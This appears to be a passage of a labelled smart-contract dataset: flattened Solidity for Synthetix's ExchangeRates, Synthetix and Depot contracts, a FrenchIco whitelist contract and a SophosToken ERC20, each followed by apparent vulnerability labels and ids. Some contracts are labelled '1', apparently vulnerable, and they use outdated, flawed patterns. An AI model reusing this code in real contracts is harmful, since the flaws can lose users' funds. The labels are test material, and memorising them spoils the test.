returns (uint) { return debtLedger[debtLedger.length - 1]; } function hasIssued(address account) external view returns (bool) { return issuanceData[account].initialDebtOwnership > 0; } event IssuanceRatioUpdated(uint newRatio); } contract ExchangeRates is SelfDestructible { using SafeMath for uint; mapping(bytes4 => uint) public rates; mapping(bytes4 => uint) public lastRateUpdateTimes; address public oracle; uint constant ORACLE_FUTURE_LIMIT = 10 minutes; uint public rateStalePeriod = 3 hours; bytes4[5] public xdrParticipants; constructor( address _owner, address _oracle, bytes4[] _currencyKeys, uint[] _newRates ) SelfDestructible(_owner) public { require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match."); oracle = _oracle; rates["sUSD"] = SafeDecimalMath.unit(); lastRateUpdateTimes["sUSD"] = now; xdrParticipants = [ bytes4("sUSD"), bytes4("sAUD"), bytes4("sCHF"), bytes4("sEUR"), bytes4("sGBP") ]; internalUpdateRates(_currencyKeys, _newRates, now); } function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) external onlyOracle returns(bool) { return internalUpdateRates(currencyKeys, newRates, timeSent); } function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) internal returns(bool) { require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length."); require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future"); for (uint i = 0; i < currencyKeys.length; i++) { require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead."); require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT."); if (timeSent >= lastRateUpdateTimes[currencyKeys[i]]) { rates[currencyKeys[i]] = newRates[i]; lastRateUpdateTimes[currencyKeys[i]] = timeSent; } } emit RatesUpdated(currencyKeys, newRates); updateXDRRate(timeSent); return true; } function updateXDRRate(uint timeSent) internal { uint total = 0; for (uint i = 0; i < xdrParticipants.length; i++) { total = rates[xdrParticipants[i]].add(total); } rates["XDR"] = total; lastRateUpdateTimes["XDR"] = timeSent; bytes4[] memory eventCurrencyCode = new bytes4[](1); eventCurrencyCode[0] = "XDR"; uint[] memory eventRate = new uint[](1); eventRate[0] = rates["XDR"]; emit RatesUpdated(eventCurrencyCode, eventRate); } function deleteRate(bytes4 currencyKey) external onlyOracle { require(rates[currencyKey] > 0, "Rate is zero"); delete rates[currencyKey]; delete lastRateUpdateTimes[currencyKey]; emit RateDeleted(currencyKey); } function setOracle(address _oracle) external onlyOwner { oracle = _oracle; emit OracleUpdated(oracle); } function setRateStalePeriod(uint _time) external onlyOwner { rateStalePeriod = _time; emit RateStalePeriodUpdated(rateStalePeriod); } function rateForCurrency(bytes4 currencyKey) public view returns (uint) { return rates[currencyKey]; } function ratesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory _rates = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { _rates[i] = rates[currencyKeys[i]]; } return _rates; } function lastRateUpdateTimeForCurrency(bytes4 currencyKey) public view returns (uint) { return lastRateUpdateTimes[currencyKey]; } function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory lastUpdateTimes = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]]; } return lastUpdateTimes; } function rateIsStale(bytes4 currencyKey) external view returns (bool) { if (currencyKey == "sUSD") return false; return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now; } function anyRateIsStale(bytes4[] currencyKeys) external view returns (bool) { uint256 i = 0; while (i < currencyKeys.length) { if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) { return true; } i += 1; } return false; } modifier onlyOracle { require(msg.sender == oracle, "Only the oracle can perform this action"); _; } event OracleUpdated(address newOracle); event RateStalePeriodUpdated(uint rateStalePeriod); event RatesUpdated(bytes4[] currencyKeys, uint[] newRates); event RateDeleted(bytes4 currencyKey); } contract Synthetix is ExternStateToken { Synth[] public availableSynths; mapping(bytes4 => Synth) public synths; FeePool public feePool; SynthetixEscrow public escrow; ExchangeRates public exchangeRates; SynthetixState public synthetixState; uint constant SYNTHETIX_SUPPLY = 1e8 * SafeDecimalMath.unit(); string constant TOKEN_NAME = "Synthetix Network Token"; string constant TOKEN_SYMBOL = "SNX"; uint8 constant DECIMALS = 18; constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState, address _owner, ExchangeRates _exchangeRates, FeePool _feePool ) ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, SYNTHETIX_SUPPLY, DECIMALS, _owner) public { synthetixState = _synthetixState; exchangeRates = _exchangeRates; feePool = _feePool; } function addSynth(Synth synth) external optionalProxy_onlyOwner { bytes4 currencyKey = synth.currencyKey(); require(synths[currencyKey] == Synth(0), "Synth already exists"); availableSynths.push(synth); synths[currencyKey] = synth; emitSynthAdded(currencyKey, synth); } function removeSynth(bytes4 currencyKey) external optionalProxy_onlyOwner { require(synths[currencyKey] != address(0), "Synth does not exist"); require(synths[currencyKey].totalSupply() == 0, "Synth supply exists"); require(currencyKey != "XDR", "Cannot remove XDR synth"); address synthToRemove = synths[currencyKey]; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == synthToRemove) { delete availableSynths[i]; availableSynths[i] = availableSynths[availableSynths.length - 1]; availableSynths.length--; break; } } delete synths[currencyKey]; emitSynthRemoved(currencyKey, synthToRemove); } function setEscrow(SynthetixEscrow _escrow) external optionalProxy_onlyOwner { escrow = _escrow; } function setExchangeRates(ExchangeRates _exchangeRates) external optionalProxy_onlyOwner { exchangeRates = _exchangeRates; } function setSynthetixState(SynthetixState _synthetixState) external optionalProxy_onlyOwner { synthetixState = _synthetixState; emitStateContractChanged(_synthetixState); } function setPreferredCurrency(bytes4 currencyKey) external optionalProxy { require(currencyKey == 0 || !exchangeRates.rateIsStale(currencyKey), "Currency rate is stale or doesn't exist."); synthetixState.setPreferredCurrency(messageSender, currencyKey); emitPreferredCurrencyChanged(messageSender, currencyKey); } function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey) public view rateNotStale(sourceCurrencyKey) rateNotStale(destinationCurrencyKey) returns (uint) { if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount; return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey)) .divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey)); } function totalIssuedSynths(bytes4 currencyKey) public view rateNotStale(currencyKey) returns (uint) { uint total = 0; uint currencyRate = exchangeRates.rateForCurrency(currencyKey); for (uint8 i = 0; i < availableSynths.length; i++) { require(!exchangeRates.rateIsStale(availableSynths[i].currencyKey()), "Rate is stale"); uint synthValue = availableSynths[i].totalSupply() .multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey())) .divideDecimalRound(currencyRate); total = total.add(synthValue); } return total; } function availableSynthCount() public view returns (uint) { return availableSynths.length; } function transfer(address to, uint value) public returns (bool) { bytes memory empty; return transfer(to, value, empty); } function transfer(address to, uint value, bytes data) public optionalProxy returns (bool) { require(value <= transferableSynthetix(messageSender), "Insufficient balance"); _transfer_byProxy(messageSender, to, value, data); return true; } function transferFrom(address from, address to, uint value) public returns (bool) { bytes memory empty; return transferFrom(from, to, value, empty); } function transferFrom(address from, address to, uint value, bytes data) public optionalProxy returns (bool) { require(value <= transferableSynthetix(from), "Insufficient balance"); _transferFrom_byProxy(messageSender, from, to, value, data); return true; } function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress) external optionalProxy returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths"); require(sourceAmount > 0, "Zero amount"); return _internalExchange( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, destinationAddress == address(0) ? messageSender : destinationAddress, true ); } function synthInitiatedExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress ) external onlySynth returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth"); require(sourceAmount > 0, "Zero amount"); return _internalExchange( from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, destinationAddress, false ); } function synthInitiatedFeePayment( address from, bytes4 sourceCurrencyKey, uint sourceAmount ) external onlySynth returns (bool) { require(sourceAmount > 0, "Source can't be 0"); bool result = _internalExchange( from, sourceCurrencyKey, sourceAmount, "XDR", feePool.FEE_ADDRESS(), false ); feePool.feePaid(sourceCurrencyKey, sourceAmount); return result; } function _internalExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress, bool chargeFee ) internal notFeeAddress(from) returns (bool) { require(destinationAddress != address(0), "Zero destination"); require(destinationAddress != address(this), "Synthetix is invalid destination"); require(destinationAddress != address(proxy), "Proxy is invalid destination"); synths[sourceCurrencyKey].burn(from, sourceAmount); uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey); uint amountReceived = destinationAmount; uint fee = 0; if (chargeFee) { amountReceived = feePool.amountReceivedFromExchange(destinationAmount); fee = destinationAmount.sub(amountReceived); } synths[destinationCurrencyKey].issue(destinationAddress, amountReceived); if (fee > 0) { uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR"); synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount); } synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived); return true; } function _addToDebtRegister(bytes4 currencyKey, uint amount) internal optionalProxy { uint xdrValue = effectiveValue(currencyKey, amount, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = debtBalanceOf(messageSender, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (!synthetixState.hasIssued(messageSender)) { synthetixState.incrementTotalIssuerCount(); } synthetixState.setCurrentIssuanceData(messageSender, debtPercentage); if (synthetixState.debtLedgerLength() > 0) { synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } else { synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit()); } } function issueSynths(bytes4 currencyKey, uint amount) public optionalProxy nonZeroAmount(amount) { require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large"); _addToDebtRegister(currencyKey, amount); synths[currencyKey].issue(messageSender, amount); } function issueMaxSynths(bytes4 currencyKey) external optionalProxy { uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey); issueSynths(currencyKey, maxIssuable); } function burnSynths(bytes4 currencyKey, uint amount) external optionalProxy { uint debt = debtBalanceOf(messageSender, currencyKey); require(debt > 0, "No debt to forgive"); uint amountToBurn = debt < amount ? debt : amount; _removeFromDebtRegister(currencyKey, amountToBurn); synths[currencyKey].burn(messageSender, amountToBurn); } function _removeFromDebtRegister(bytes4 currencyKey, uint amount) internal { uint debtToRemove = effectiveValue(currencyKey, amount, "XDR"); uint existingDebt = debtBalanceOf(messageSender, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(totalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().add(debtPercentage); if (debtToRemove == existingDebt) { synthetixState.clearIssuanceData(messageSender); synthetixState.decrementTotalIssuerCount(); } else { uint newDebt = existingDebt.sub(debtToRemove); uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove); uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued); synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage); } synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } function maxIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey); return destinationValue.multiplyDecimal(synthetixState.issuanceRatio()); } function collateralisationRatio(address issuer) public view returns (uint) { uint totalOwnedSynthetix = collateral(issuer); if (totalOwnedSynthetix == 0) return 0; uint debtBalance = debtBalanceOf(issuer, "SNX"); return debtBalance.divideDecimalRound(totalOwnedSynthetix); } function debtBalanceOf(address issuer, bytes4 currencyKey) public view returns (uint) { uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer); if (initialDebtOwnership == 0) return 0; uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry() .divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex)) .multiplyDecimalRoundPrecise(initialDebtOwnership); uint totalSystemValue = totalIssuedSynths(currencyKey); uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal() .multiplyDecimalRoundPrecise(currentDebtOwnership); return highPrecisionBalance.preciseDecimalToDecimal(); } function remainingIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint alreadyIssued = debtBalanceOf(issuer, currencyKey); uint max = maxIssuableSynths(issuer, currencyKey); if (alreadyIssued >= max) { return 0; } else { return max.sub(alreadyIssued); } } function collateral(address account) public view returns (uint) { uint balance = tokenState.balanceOf(account); if (escrow != address(0)) { balance = balance.add(escrow.balanceOf(account)); } return balance; } function transferableSynthetix(address account) public view rateNotStale("SNX") returns (uint) { uint balance = tokenState.balanceOf(account); uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio()); if (lockedSynthetixValue >= balance) { return 0; } else { return balance.sub(lockedSynthetixValue); } } modifier rateNotStale(bytes4 currencyKey) { require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Fee address not allowed"); _; } modifier onlySynth() { bool isSynth = false; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == msg.sender) { isSynth = true; break; } } require(isSynth, "Only synth allowed"); _; } modifier nonZeroAmount(uint _amount) { require(_amount > 0, "Amount needs to be larger than 0"); _; } event PreferredCurrencyChanged(address indexed account, bytes4 newPreferredCurrency); bytes32 constant PREFERREDCURRENCYCHANGED_SIG = keccak256("PreferredCurrencyChanged(address,bytes4)"); function emitPreferredCurrencyChanged(address account, bytes4 newPreferredCurrency) internal { proxy._emit(abi.encode(newPreferredCurrency), 2, PREFERREDCURRENCYCHANGED_SIG, bytes32(account), 0, 0); } event StateContractChanged(address stateContract); bytes32 constant STATECONTRACTCHANGED_SIG = keccak256("StateContractChanged(address)"); function emitStateContractChanged(address stateContract) internal { proxy._emit(abi.encode(stateContract), 1, STATECONTRACTCHANGED_SIG, 0, 0, 0); } event SynthAdded(bytes4 currencyKey, address newSynth); bytes32 constant SYNTHADDED_SIG = keccak256("SynthAdded(bytes4,address)"); function emitSynthAdded(bytes4 currencyKey, address newSynth) internal { proxy._emit(abi.encode(currencyKey, newSynth), 1, SYNTHADDED_SIG, 0, 0, 0); } event SynthRemoved(bytes4 currencyKey, address removedSynth); bytes32 constant SYNTHREMOVED_SIG = keccak256("SynthRemoved(bytes4,address)"); function emitSynthRemoved(bytes4 currencyKey, address removedSynth) internal { proxy._emit(abi.encode(currencyKey, removedSynth), 1, SYNTHREMOVED_SIG, 0, 0, 0); } } contract Depot is SelfDestructible, Pausable { using SafeMath for uint; using SafeDecimalMath for uint; Synthetix public synthetix; Synth public synth; FeePool public feePool; address public fundsWallet; address public oracle; uint public constant ORACLE_FUTURE_LIMIT = 10 minutes; uint public priceStalePeriod = 3 hours; uint public lastPriceUpdateTime; uint public usdToSnxPrice; uint public usdToEthPrice; struct synthDeposit { address user; uint amount; } mapping(uint => synthDeposit) public deposits; uint public depositStartIndex; uint public depositEndIndex; uint public totalSellableDeposits; uint public minimumDepositAmount = 50 * SafeDecimalMath.unit(); mapping(address => uint) public smallDeposits; constructor( address _owner, address _fundsWallet, Synthetix _synthetix, Synth _synth, FeePool _feePool, address _oracle, uint _usdToEthPrice, uint _usdToSnxPrice ) SelfDestructible(_owner) Pausable(_owner) public { fundsWallet = _fundsWallet; synthetix = _synthetix; synth = _synth; feePool = _feePool; oracle = _oracle; usdToEthPrice = _usdToEthPrice; usdToSnxPrice = _usdToSnxPrice; lastPriceUpdateTime = now; } function setFundsWallet(address _fundsWallet) external onlyOwner { fundsWallet = _fundsWallet; emit FundsWalletUpdated(fundsWallet); } function setOracle(address _oracle) external onlyOwner { oracle = _oracle; emit OracleUpdated(oracle); } function setSynth(Synth _synth) external onlyOwner { synth = _synth; emit SynthUpdated(_synth); } function setSynthetix(Synthetix _synthetix) external onlyOwner { synthetix = _synthetix; emit SynthetixUpdated(_synthetix); } function setPriceStalePeriod(uint _time) external onlyOwner { priceStalePeriod = _time; emit PriceStalePeriodUpdated(priceStalePeriod); } function setMinimumDepositAmount(uint _amount) external onlyOwner { require(_amount > SafeDecimalMath.unit(), "Minimum deposit amount must be greater than UNIT"); minimumDepositAmount = _amount; emit MinimumDepositAmountUpdated(minimumDepositAmount); } function updatePrices(uint newEthPrice, uint newSynthetixPrice, uint timeSent) external onlyOracle { require(lastPriceUpdateTime < timeSent, "Time must be later than last update"); require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time must be less than now + ORACLE_FUTURE_LIMIT"); usdToEthPrice = newEthPrice; usdToSnxPrice = newSynthetixPrice; lastPriceUpdateTime = timeSent; emit PricesUpdated(usdToEthPrice, usdToSnxPrice, lastPriceUpdateTime); } function () external payable { exchangeEtherForSynths(); } function exchangeEtherForSynths() public payable pricesNotStale notPaused returns (uint) { uint ethToSend; uint requestedToPurchase = msg.value.multiplyDecimal(usdToEthPrice); uint remainingToFulfill = requestedToPurchase; for (uint i = depositStartIndex; remainingToFulfill > 0 && i < depositEndIndex; i++) { synthDeposit memory deposit = deposits[i]; if (deposit.user == address(0)) { depositStartIndex = depositStartIndex.add(1); } else { if (deposit.amount > remainingToFulfill) { uint newAmount = deposit.amount.sub(remainingToFulfill); deposits[i] = synthDeposit({ user: deposit.user, amount: newAmount}); totalSellableDeposits = totalSellableDeposits.sub(remainingToFulfill); ethToSend = remainingToFulfill.divideDecimal(usdToEthPrice); if(!deposit.user.send(ethToSend)) { fundsWallet.transfer(ethToSend); emit NonPayableContract(deposit.user, ethToSend); } else { emit ClearedDeposit(msg.sender, deposit.user, ethToSend, remainingToFulfill, i); } synth.transfer(msg.sender, remainingToFulfill); remainingToFulfill = 0; } else if (deposit.amount <= remainingToFulfill) { delete deposits[i]; depositStartIndex = depositStartIndex.add(1); totalSellableDeposits = totalSellableDeposits.sub(deposit.amount); ethToSend = deposit.amount.divideDecimal(usdToEthPrice); if(!deposit.user.send(ethToSend)) { fundsWallet.transfer(ethToSend); emit NonPayableContract(deposit.user, ethToSend); } else { emit ClearedDeposit(msg.sender, deposit.user, ethToSend, deposit.amount, i); } synth.transfer(msg.sender, deposit.amount); remainingToFulfill = remainingToFulfill.sub(deposit.amount); } } } if (remainingToFulfill > 0) { msg.sender.transfer(remainingToFulfill.divideDecimal(usdToEthPrice)); } uint fulfilled = requestedToPurchase.sub(remainingToFulfill); if (fulfilled > 0) { emit Exchange("ETH", msg.value, "sUSD", fulfilled); } return fulfilled; } function exchangeEtherForSynthsAtRate(uint guaranteedRate) public payable pricesNotStale notPaused returns (uint) { require(guaranteedRate == usdToEthPrice, "Guaranteed rate would not be received"); return exchangeEtherForSynths(); } function exchangeEtherForSynthetix() public payable pricesNotStale notPaused returns (uint) { uint synthetixToSend = synthetixReceivedForEther(msg.value); fundsWallet.transfer(msg.value); synthetix.transfer(msg.sender, synthetixToSend); emit Exchange("ETH", msg.value, "SNX", synthetixToSend); return synthetixToSend; } function exchangeEtherForSynthetixAtRate(uint guaranteedEtherRate, uint guaranteedSynthetixRate) public payable pricesNotStale notPaused returns (uint) { require(guaranteedEtherRate == usdToEthPrice, "Guaranteed ether rate would not be received"); require(guaranteedSynthetixRate == usdToSnxPrice, "Guaranteed synthetix rate would not be received"); return exchangeEtherForSynthetix(); } function exchangeSynthsForSynthetix(uint synthAmount) public pricesNotStale notPaused returns (uint) { uint synthetixToSend = synthetixReceivedForSynths(synthAmount); synth.transferFrom(msg.sender, fundsWallet, synthAmount); synthetix.transfer(msg.sender, synthetixToSend); emit Exchange("sUSD", synthAmount, "SNX", synthetixToSend); return synthetixToSend; } function exchangeSynthsForSynthetixAtRate(uint synthAmount, uint guaranteedRate) public pricesNotStale notPaused returns (uint) { require(guaranteedRate == usdToSnxPrice, "Guaranteed rate would not be received"); return exchangeSynthsForSynthetix(synthAmount); } function withdrawSynthetix(uint amount) external onlyOwner { synthetix.transfer(owner, amount); } function withdrawMyDepositedSynths() external { uint synthsToSend = 0; for (uint i = depositStartIndex; i < depositEndIndex; i++) { synthDeposit memory deposit = deposits[i]; if (deposit.user == msg.sender) { synthsToSend = synthsToSend.add(deposit.amount); delete deposits[i]; emit SynthDepositRemoved(deposit.user, deposit.amount, i); } } totalSellableDeposits = totalSellableDeposits.sub(synthsToSend); synthsToSend = synthsToSend.add(smallDeposits[msg.sender]); smallDeposits[msg.sender] = 0; require(synthsToSend > 0, "You have no deposits to withdraw."); synth.transfer(msg.sender, synthsToSend); emit SynthWithdrawal(msg.sender, synthsToSend); } function depositSynths(uint amount) external { synth.transferFrom(msg.sender, this, amount); } function tokenFallback(address from, uint amount, bytes data) external onlySynth returns (bool) { if (amount < minimumDepositAmount) { smallDeposits[from] = smallDeposits[from].add(amount); emit SynthDepositNotAccepted(from, amount, minimumDepositAmount); } else { deposits[depositEndIndex] = synthDeposit({ user: from, amount: amount }); emit SynthDeposit(from, amount, depositEndIndex); depositEndIndex = depositEndIndex.add(1); totalSellableDeposits = totalSellableDeposits.add(amount); } } function pricesAreStale() public view returns (bool) { return lastPriceUpdateTime.add(priceStalePeriod) < now; } function synthetixReceivedForSynths(uint amount) public view returns (uint) { uint synthsReceived = feePool.amountReceivedFromTransfer(amount); return synthsReceived.divideDecimal(usdToSnxPrice); } function synthetixReceivedForEther(uint amount) public view returns (uint) { uint valueSentInSynths = amount.multiplyDecimal(usdToEthPrice); return synthetixReceivedForSynths(valueSentInSynths); } function synthsReceivedForEther(uint amount) public view returns (uint) { uint synthsTransferred = amount.multiplyDecimal(usdToEthPrice); return feePool.amountReceivedFromTransfer(synthsTransferred); } modifier onlyOracle { require(msg.sender == oracle, "Only the oracle can perform this action"); _; } modifier onlySynth { require(msg.sender == address(synth), "Only the synth contract can perform this action"); _; } modifier pricesNotStale { require(!pricesAreStale(), "Prices must not be stale to perform this action"); _; } event FundsWalletUpdated(address newFundsWallet); event OracleUpdated(address newOracle); event SynthUpdated(Synth newSynthContract); event SynthetixUpdated(Synthetix newSynthetixContract); event PriceStalePeriodUpdated(uint priceStalePeriod); event PricesUpdated(uint newEthPrice, uint newSynthetixPrice, uint timeSent); event Exchange(string fromCurrency, uint fromAmount, string toCurrency, uint toAmount); event SynthWithdrawal(address user, uint amount); event SynthDeposit(address indexed user, uint amount, uint indexed depositIndex); event SynthDepositRemoved(address indexed user, uint amount, uint indexed depositIndex); event SynthDepositNotAccepted(address user, uint amount, uint minimum); event MinimumDepositAmountUpdated(uint amount); event NonPayableContract(address indexed receiver, uint amount); event ClearedDeposit(address indexed fromAddress, address indexed toAddress, uint fromETHAmount, uint toAmount, uint indexed depositIndex); }
0
1,332
pragma solidity ^0.5.4; contract Ownable { address payable public owner; event OwnershipTransferred(address indexed previousOwner,address indexed newOwner); constructor() public {owner = msg.sender;} modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract FrenchIco_Coprorate is Ownable { bool internal PauseAllContracts= false; uint public maxAmount; mapping(address => uint) internal role; event WhitelistedAddress(address addr, uint _role); function GeneralPause() onlyOwner external { if (PauseAllContracts==false) {PauseAllContracts=true;} else {PauseAllContracts=false;} } function setupMaxAmount(uint _maxAmount) onlyOwner external { maxAmount = _maxAmount; } function RoleSetup(address addr, uint _role) onlyOwner public { role[addr]= _role; emit WhitelistedAddress(addr, _role); } function newMember() public payable { require (role[msg.sender]==0,"user has to be new"); role[msg.sender]= 1; owner.transfer(msg.value); emit WhitelistedAddress(msg.sender, 1); } function isGeneralPaused() external view returns (bool) {return PauseAllContracts;} function GetRole(address addr) external view returns (uint) {return role[addr];} function GetWallet_FRENCHICO() external view returns (address) {return owner;} function GetMaxAmount() external view returns (uint) {return maxAmount;} }
1
3,502
pragma solidity ^0.4.21; library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract SophosToken is StandardToken { string public name = "Sophos"; string public symbol = "SOPH"; uint public decimals = 8 ; uint public INITIAL_SUPPLY = 3000000000000000; uint public constant ALLOCATION_LOCK_END_TIMESTAMP = 1572566400; address public constant RAVI_ADDRESS = 0xB75066802f677bb5354F0850A1e1d3968E983BE8; uint public constant RAVI_ALLOCATION = 120000000000000; address public constant JULIAN_ADDRESS = 0xB2A76D747fC4A076D7f4Db3bA91Be97e94beB01C; uint public constant JULIAN_ALLOCATION = 120000000000000; address public constant ABDEL_ADDRESS = 0x9894989fd6CaefCcEB183B8eB668B2d5614bEBb6; uint public constant ABDEL_ALLOCATION = 120000000000000; address public constant ASHLEY_ADDRESS = 0xb37B31f004dD8259F3171Ca5FBD451C03c3bC0Ae; uint public constant ASHLEY_ALLOCATION = 210000000000000; function SophosToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = totalSupply; balances[msg.sender] -= RAVI_ALLOCATION; balances[msg.sender] -= JULIAN_ALLOCATION; balances[msg.sender] -= ABDEL_ALLOCATION; balances[msg.sender] -= ASHLEY_ALLOCATION; balances[RAVI_ADDRESS] = RAVI_ALLOCATION; balances[JULIAN_ADDRESS] = JULIAN_ALLOCATION; balances[ABDEL_ADDRESS] = ABDEL_ALLOCATION; balances[ASHLEY_ADDRESS] = ASHLEY_ALLOCATION; } function isAllocationLocked(address _spender) constant returns (bool) { return inAllocationLockPeriod() && isTeamMember(_spender); } function inAllocationLockPeriod() constant returns (bool) { return (block.timestamp < ALLOCATION_LOCK_END_TIMESTAMP); } function isTeamMember(address _spender) constant returns (bool) { return _spender == RAVI_ADDRESS || _spender == JULIAN_ADDRESS || _spender == ABDEL_ADDRESS || _spender == ASHLEY_ADDRESS; } function approve(address spender, uint tokens) { if (isAllocationLocked(spender)) { throw; } else { super.approve(spender, tokens); } } function transfer(address to, uint tokens) onlyPayloadSize(2 * 32) { if (isAllocationLocked(to)) { throw; } else { super.transfer(to, tokens); } } function transferFrom(address from, address to, uint tokens) onlyPayloadSize(3 * 32) { if (isAllocationLocked(from) || isAllocationLocked(to)) { throw; } else { super.transferFrom(from, to, tokens); } } }
1
2,708
